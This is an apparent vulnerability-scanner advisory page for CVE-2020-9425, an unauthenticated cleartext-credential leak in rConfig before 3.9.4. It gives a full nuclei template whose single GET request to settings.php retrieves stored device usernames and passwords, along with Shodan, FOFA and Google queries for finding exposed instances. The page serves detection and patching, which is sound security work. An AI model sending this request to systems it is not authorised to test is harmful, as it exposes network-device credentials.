CVE-2020-9425· rconfig / rconfig· CWE-670
rConfig <3.9.4 - Sensitive Information Disclosure
rConfig prior to version 3.9.4 is susceptible to sensitive information disclosure. An unauthenticated attacker can retrieve saved cleartext credentials via a GET request to settings.php. Because the application does not exit after a redirect is applied, the rest of the page still executes, resulting in the disclosure of cleartext credentials in the response.
Impact
An attacker can exploit this vulnerability to gain access to sensitive information, such as usernames and passwords.
Fix
Upgrade rConfig to version 3.9.4 or later to fix the vulnerability.
How to confirm it
Send: GET {{BaseURL}}/settings.php
Positive when: contains "defaultNodeUsername" and "defaultNodePassword" AND status 200Run it with nuclei: nuclei -id CVE-2020-9425 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-9425
info:
name: rConfig <3.9.4 - Sensitive Information Disclosure
author: madrobot
severity: high
description: rConfig prior to version 3.9.4 is susceptible to sensitive information disclosure. An unauthenticated attacker can retrieve saved cleartext credentials via a GET request to settings.php. Because the application does not exit after a redirect is applied, the rest of the page still executes, resulting in the disclosure of cleartext credentials in the response.
impact: |
An attacker can exploit this vulnerability to gain access to sensitive information, such as usernames and passwords.
remediation: |
Upgrade rConfig to version 3.9.4 or later to fix the vulnerability.
reference:
- https://blog.hivint.com/rconfig-3-9-3-unauthenticated-sensitive-information-disclosure-ead4ed88f153
- https://github.com/rconfig/rconfig/commit/20f4e3d87e84663d922b937842fddd9af1b68dd9
- https://nvd.nist.gov/vuln/detail/CVE-2020-9425
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-9425
cwe-id: CWE-670
epss-score: 0.1808
epss-percentile: 0.97221
cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: rconfig
product: rconfig
shodan-query: http.title:"rconfig"
fofa-query: title="rconfig"
google-query: intitle:"rconfig"
tags: cve,cve2020,rconfig.exposure,rconfig,vuln
http:
- method: GET
path:
- "{{BaseURL}}/settings.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "defaultNodeUsername"
- "defaultNodePassword"
condition: and
- type: status
status:
- 200References
- https://blog.hivint.com/rconfig-3-9-3-unauthenticated-sensitive-information-disclosure-ead4ed88f153
- https://github.com/rconfig/rconfig/commit/20f4e3d87e84663d922b937842fddd9af1b68dd9
- https://nvd.nist.gov/vuln/detail/CVE-2020-9425
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from